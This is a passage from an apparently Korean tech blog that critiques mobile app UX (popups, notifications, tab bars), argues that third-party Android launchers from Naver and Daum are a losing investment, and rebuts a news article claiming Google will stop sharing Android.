팝업 문구 역시 ‘WiFi 상태에서는 운전 중 네트워크 연결이 불안정 할 수 있습니다” 인데 이걸 어떻게 해석해야 할까요? 정말로 WiFi 상태에서 운전 중에는 네트워크 연결이 불안정한가요? 정확한 문구는 ‘이 단말은 WiFi 연결 상태에서는 Tmap 정보를 얻어올 수 없습니다. WiFi를 해제하고 사용하세요.“가 적합할 것입니다.

 

불필요한 정보 숨기기

‘등록 되었습니다.’, ‘성공했습니다.’ 등의 팝업을 보여주는 application들이 많이 있습니다. 이런 성공에 대한 알림은 Toast로 표시하거나 사용 흐름을 끊지 않는 다른 UI적 요소를 사용해서 보여주고, 오류가 발생했다고 해도 사용자가 대응할 수 없는 상황에서는 application이 최대한 대응을 하고 불가피하게 사용자의 선택이나 대응이 필요한 시점에 팝업을 띄워야지 오류에 대해서 무책임하게 사용자에게 책임을 떠 넘기는 팝업은 보여주지 말아야 합니다.

또한, 김기사에서 주행 중에 교통변화 자동 감지 설정이 켜져 있는 경우 ‘기존 경로로 안내합니다.‘라는 음성 안내가 있는데 이런 경우에는 교통변화 자동 감지를 통해서 경로가 변경되었을 경우에만 알려주는 것이 적절하고, 기존에 사용자가 알고 있는 경로 정보에서 변화가 없는데 ‘변화가 없다‘는 사실을 굳이 알려줄 필요는 없습니다.

배터리 팝업

 

예전 사례입니다만. 충전기를 연결한 상태에서 Tmap을 주행하는 도중에 충전 완료 팝업을 앱이 아닌 단말기에서 띄운 경우입니다.

충전이 완료되었다는 것이…

  1. 사용자가 꼭 알아야 하는 정보인가요?
  2. 사용자로부터 [확인] 버튼을 꼭 받아야 할 만큼 중요한가요?
  3. 팝업으로 알리지 않으면 사용자가 알 수 없는 정보인가요?
  4. 충전기 연결을 안 빼면 무슨 일이 발생하나요?

불필요한 정보를 보여주는 것이 불필요함에서 끝나지 않고 팝업을 닫기 위해서 운전중 핸드폰을 터치해야 하며 운전 중이 아니더라도 충전기를 연결한 상태에서는 텍스트 입력이 끊기는 등 사용자를 귀찮게 하는 대표적인 사례입니다.

사용자를 무작정 기다리지 않게 하기 – 비동기

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개발자들에게 많이 알려진 기능 중에서 일반적으로 가장 보기 힘든 기능이 비동기 기능이 아닌가 싶습니다.

Path에서 적용된 이후에 facebook 포스팅에도 적용되면서 많이 알려졌지만 실제로 구현에 어려움이 많고 기획자가 잘 모르는 기능이라 기획 요구사항에 포함되지 않는 점도 있겠지만 오래 걸리는 작업을 progressbar를 띄워서 무작정 사용자를 기다리게 하는 것 보다는 Notification Bar를 통해서 비동기 작업을 진행하고 사용자는 끊김 없이 다른 기능을 계속 사용할 수 있도록 해야 합니다.

사용자를 가르치지 말라

포쿠-상단탭

이미지는 ‘포쿠‘라는 포인트와 쿠폰 application입니다. 상단 타이틀바에 있는 ‘가맹점’, ‘POCOU’, ‘포쿠+’가 있는 곳이 화면을 전환하는 Tab bar 역할을 수행하는데 다음과 같은 문제가 있습니다.,

  1. 기존에 사용되지 않던 생소한 방식이라 사용자가 저 위치를 클릭해서 화면을 전환을 해야 한다고 생각하지 않을 것이라는 점
    ☞ 완전히 다른 기능을 수행하는 것이 아니라 기존에 있는 기능을 수행하는 것이라면 사용자에게 학습된 UI를 사용하거나 유사한 메타포어를 가지는 디자인을 사용하는 것이 좋습니다.
  2. 실제로 상단 Tab을 클릭하면 화면이 좌/우로 슬라이딩 되면서 변환되는데 Tab바가 아닌 하단 화면에서 터치 Swipe 동작으로는 화면이 전환되지 않는 점
    ☞ UI 요소에 대해서 사용자가 어떻게 반응하고 다음 동작을 할지 예상을 할 필요가 있습니다. 차라리 좌/우 슬리이딩 애니메이션이 없다면 하단 화면을 슬라이딩해서 바꾸려는 시도를 하지 않았었겠지만 애니메이션 요소에 의해서 오히려 사용자를 혼란스럽게 하고 있습니다.

※ 블로그 발행 후 피드백이 있어 업데이트합니다.

Android Launcher 전쟁(?) 관람기

최근 여러 업체들이 약속이나 한 듯이 각자의 전략을 담은 Android Launcher들을 발표했습니다.

각 사의 launcher 발표에 대한 첫 느낌은 Web 기반의 인터넷 서비스 업체들이 mobile, 특히 Android에 대한 이해도가 높아졌다는 것이고, 이는 기존 iOS에서 앱기반으로 사용자 니즈를 충족하는 것과는 다른 나름대로 차별화된 전략을 구사하기 시작했다는 것을 의미하기 때문입니다.

Android 초기에는 Google과 제조사에서 제공하는 launcher는 정말로 application을 실행하기 위한  launcher 본연의 역할에만 충실했을뿐, 가장 개인화된 device인 phone의 Home(=Launcher) 역할을 수행하기에는 불편함이 많았고 이 틈새를 초기부터 집요하게 공략해서 성공한 어플이 ‘GO Launcher‘라고 볼 수 있습니다. GO Launcher가 나름 탄탄하게 시장을 구축하고 있을 때에도 인터넷 서비스 업체들은 launcher의 존재를 인지하지 못하고 홈에 검색 위젯을 설치하도록 유도하거나 독립 앱으로 포털의 경험을 mobile로 이식하려는 시도를 했었고 심지어 구글을 공정위에 제소하는 등의 법적인 대응까지 진행했었습니다.

어쨌거나 결과적으로 인터넷 서비스 업체들이 launcher의 존재를 인지하고 투자를 한다는 것은 매우 긍정적인 신호이지만 지금은 좀 늦지 않았나 하는 생각도 있습니다. 왜냐하면 Android 초기 상황과는 달리 Google에서 기본으로 제공하는 Home의 주요 기능이 플랫폼 기능과 밀착되기 시작했고 제조사들도 Home을 개발하는데 좀 더 많은 노력을 들이기 시작했다는 점 때문입니다.

facebook Home은 그림이 너무 크고 개념이 너무 멀리 나아가서 이 글에서는 네이버와 다음 위주로 이야기 해보고자 합니다.

제가 보기엔 현재 launcher에 대한 투자는 ‘밑 빠진 독에 물 붓기‘입니다. 그 이유를 열거하자면,

  1. Android의 platform 기능에 Home기능이 밀착될 수록 3rd party Home은 platform 진화를 따라가는데 버거울 것입니다.
    이는 기존에 Microsoft가 Windows OS에 application 기능을 밀착시키면서 경쟁 Office 제품군과  Borland 같은 Visual C/C++개발툴 경쟁 업체까지 몰락시킨 전례와 유사한 상황이 될 것이라고 보기 때문입니다. 또한, Android가 Open Source Project라고 하지만 Linux와 Platform 등의 source만 공개하고 Launcher source를 비롯한 주요 source들은 공개하지 않고 있어서 3rd party가 따라가기에는 생각보다 많은 공수가 투입될 것입니다.
  2. Google의 밥줄이기 때문입니다.
    Google이 GMS license를 통해서 Home에 Google 검색을 기본으로 탑재하고 있는데, Android 플랫폼에 대한 엄청난 투자에도 불구하고 3rd party가 Home을 점령해서 Google의 검색 시장을 뺏어가는 것을 가만히 두고 볼리가 없습니다. 혹자가 얘기하는 Google이 3rd party Home이 Google Play Store에 등록되는 것을 거부할 것이라는 등의 방법 말고도 fast mover 전략을 통해서 3rd party Home이 따라오기 충분히 어렵게 할 수 있습니다. 어쨌거나 3rd party Home은 단말기를 교체했을 때 새로 다운로드 받아서 설치해야 하는 번거로움이 여전히 존재하기 때문입니다.
  3. 제조사 변수
     제조사가 인터넷 서비스 업체만큼 Home에 대해서 절박하거나 Google 처럼 밥줄이 달려있거나 하지 않지만 그들 나름대로의 치열한 시장 점유율 경쟁을 위해서 3rd party Home이 가지는 장점들을 단말기 출시 시점에 기본 Home에 이식할 것이고, 그 외에도 제조사는 Home을 비롯한 기본 application에 루트권한을 부여하는데 제약이 있는 것이 아니기 때문에 3rd party가 상상할 수 있는 그 이상을 언제든지 보여줄 수 있는 기득권이 있는 상태입니다. 물론, HTC가 Sense UI를 적용하고 삼성이 TouchWiz라는 독자적인 UI 노선을 고집하면서 Android platform 진화에 상대적으로 느리게 따라오는 취약점은 있지만 언제든지 보완이 가능한 취약점이기 때문에 3rd party Home이 제조사를 아프게 하기는 힘들 것입니다.
  4. Google과 제조사가 고민하지 않는 “왜 런처를 바꿔야 하지?”에 대한 질문과 고민을 3rd party Home은 끊임없이 해야 합니다.
    3rd party Home이 단기간 차별화 전략을 통해서 성공할 수 있겠지만 Home에 대한 완성도는 어느 시점 이후에는 대동소이할 것이고 사용자는 굳이 런처를 바꾸지 않아도 불편함을 느끼지 않는 시점에 도달하게 될 것입니다.

이러한 이유로 3rd party Home은 ‘밑빠진 독에 물 붓기’일 것이며 완벽한 레드오션이라고 생각합니다.

다만, 네이버와 다음 같은 회사는 밑빠진 독에 물을 부어서라도 각자의 플랫폼으로 사용자를 유도하는데 충분히 효과적인 전략이기 때문에 하는 것이 맞다고 봅니다. 그렇지만 GO Launcher의 성공을 보며 별도 플랫폼 없이 독자 application만으로 승부하고자 한다면 도시락 싸가지고 다니면서 말리고 싶습니다.

네이버와 다음도 기존에 검색 위젯을 바탕화면에 설치하고자 했던 단순한 시각에서 벗어나서 Home으로 눈을 돌린 만큼 사용자들에게 Home을 설치하도록 유도하는 단순 마케팅에서 벗어나서 Home에서 시작하는 Android의 UX를 어떻게 ‘네이버스럽게’, ‘다음스럽게’ 전개할지에 대한 진지한 고민이 병행되어야 한다고 생각합니다.

네이버와 다음의 Home 1차 전쟁은 투자를 통해서 대체제를 확보한 다음보다는 아무래도 개발자를 내부에 영입한 네이버의 1차 승리가 아닐까 생각합니다. 물론 네이버의 Home이 제조사의 것이나 마켓에 있는 여러 Home보다 낫다고 생각하지는 않습니다만 내부 서비스와 연계하여 전략 방향을 일치시킬 수 있다는 점에서는 유리한 고지를 점령한 정도라고 생각합니다. 또한, 네이버나 다음이나 뭐가 그리 급했는지 완성도 떨어지는 앱을 출시해서 사용자에게 실망을 안겨준 점은 앞으로 Home의 확산에 큰 장애 요소가 될 것 같습니다.

네이버나 다음이 밑빠진 독에 물을 부어서라도 mobile 시장, 특히 Android 시장에서 패권을 차지하기 위한 마중물의 역할을 충실히 수행하게 하고 싶다면 내부에서 개발자들이 GED폰을 ‘레퍼런스폰‘이라고 부르는 무개념부터 바꿔야 하고 Home에서 시작되는 NED(Naver Experienced Device), DED(Daum Experienced Device)에 대한 개념 정립부터 시작하는 것이 맞는 순서라고 봅니다.

ps. 글을 올린 이후 받은 몇가지 피드백에 대해서 보완합니다.
1. Android 기본 Launcher는 Open source에 포함되어 있습니다. (제가 이 부분은 미처 몰랐습니다)
2. 제조사 소스에는 해당 부분을 공개하지 않습니다.

링크

Platform vs. Product

조금 늦은 감이 있는데 얼마 전(2012/12/24)  ZDNET Korea에 삼성, 여우 피하니 범…“안드로이드 끊겨?”라는 기사가 실린 적이 있습니다. 처음에 이 기사를 보고 너무 황당해서 페북에 간단한 개인적인 의견을 표명하고 말았는데 트위터나 블로그에서 알만한 분들조차 의외로 기사 내용에 동조하거나 이미 예견된 수순이라 등의 의견 표명을 하는 것을 보고 조만간 관련해서 글을 써야지 생각만 하다가 뒤늦게 해를 넘기게 되었네요.

기사의 내용의 핵심은,

‘구글이 더 이상 Android를 공유하지 않으려는 움직임이 점점 더 뚜렷해지고 있다.(It’s becoming abundantly clear that Google doesn’t want to share Android anymore)’

이고,  그 근거로 제시한 것은 오로지

  • 구글이 모토로라와 새해에 이른바 X폰 프로젝트를 통해 X폰을 만들고 있다는 월스트리트저널 보도

뿐입니다.

먼저, 구글이 모토로라와 X폰을 개발한다는 내용을 짚어 보면

  1. 구글이 모토로라와 밀월 관계로 자사의 정확한 규격에 맞춘 새로운 스마트폰을 개발한다.
    그 동안 모토로라가 구글과 밀월 관계가 아니어서 스마트폰 시장에서 고전하다가 분사하고 매각되는 처지가 되었을까요? 구글과 모토로라가 밀월 관계로 개발하는 것이 삼성/엘지와 같은 기존 제조사에 어떤 위협이 될까요?
  2. 구글, 자체 스마트폰에만 안드로이드 최신버전을 공급한다면
    Android를 구글이 주도적으로 개발하는 것은 맞지만, Android는 Open Handset Alliance의 소유입니다. 이미 삼성/엘지도 일찌감치 OHA 정식 회원사이기 때문에 최신 버전에 언제든지 접근이 가능합니다. 마음만 먹으면 최신 버전을 공급하는데 제약이 없다는 것이죠.
  3. Android 최신버전의 경쟁력?
    아무래도 구글에서 최신 버전을 다 만들어서 주는 것 보다 제조사가 직접 만들면 시간이 조금 더 걸리는 것은 불가피할 것입니다. 그럼, Android의 최신 버전이 기존 제조사의 경쟁력에 치명타를 줄 만큼 중요한 요소일까요?
    Jelly-Bean 버전이 2012년 6월말에 Google I/O에 발표하고 오늘이 2003년 1월 19일이니 6개월 조금 더 지났는데 점유율은 10.2%에 지나지 않습니다. 현재 시점에 가장 많이 팔린다는 삼성의 Galaxy S3도 Gingerbread 버전으로 배포되었고, 얼마 전에 Ice Cream Sandwich 버전 업그레이드가 이루어졌습니다.

    Version Codename API Distribution
    1.6 Donut 4 0.2%
    2.1 Eclair 7 2.4%
    2.2 Froyo 8 9.0%
    2.3 – 2.3.2 Gingerbread 9 0.2%
    2.3.3 – 2.3.7 10 47.4%
    3.1 Honeycomb 12 0.4%
    3.2 13 1.1%
    4.0.3 – 4.0.4 Ice Cream Sandwich 15 29.1%
    4.1 Jelly Bean 16 9.0%
    4.2 17 1.2%

    The following pie chart and table is based on the number of Android devices that have accessed Google Play within a 14-day period ending on the data collection date noted below.

    Data collected during a 14-day period ending on January 3, 2013

이상 기사 내용 기준으로 큰 항목별로 나름 반박을 해봤는데 이렇게까지 반박해야 할 가치가 있는 기사 인지는 잘 모르겠습니다.

Platform과 Product를 이해한다면, Google이 Android를 왜 만들었으며, 왜 무료로 배포를 했으며 어떤 과정으로 시장에서 독점적인 지위를 가지고 있는지를 알 수 있기 때문에 Android에 대한 독점적인 권리 행사가 Google에게 얼마나 치명적인 행위인지를 설명하지 않아도 되기 때문입니다.

물론, Google이 Android를 주도적으로 개발하고 Android에 Google 서비스가 밀접하게 연결되어 있다보니 Google의 Product와 Platform을 혼동하는 분들을 주변에서 종종 마주치기는 합니다.

Google이 지금의 Mobile 시장에서의 지위가 Android가 없었다면 가능했을까요? 그럼 앞으로 Android가 없어도 지속 가능할 지위일까요?

Google의 Gmail, Chrome Browser, YouTube, Google map, … 등의 수많은 Google의 Product는 Android라는 Platform이 있었기 때문에 mobile에서도 영향력을 확장할 수 있었고, Android가 지속적으로 흥행을 해야 유지가 가능한 영향력이기 때문에 Google은 앞으로도 Android를 독점적으로 사용하고자 하는 일은 없을 것입니다.

제 facebook에 한 지인 분이 ‘Tizen으로 정책지원하려는 여론 형성용‘이라는 의견을 주셨습니다. 일정 부분 개연성도 있다고 봅니다만, Android라는 생태계는 iOS에 대항할 수 있는 플랫폼이 절실하게 필요했던 통신사/제조사와 mobile에 진출하고 싶었던 Google과의 절묘한 이해관계에 의해서 탄생한 것이므로 인위적으로 조절하거나 새로운 생태계를 만들기는 언제나 실패할 것입니다. WIPI 가 그랬고 최근 Windows도 그렇구요…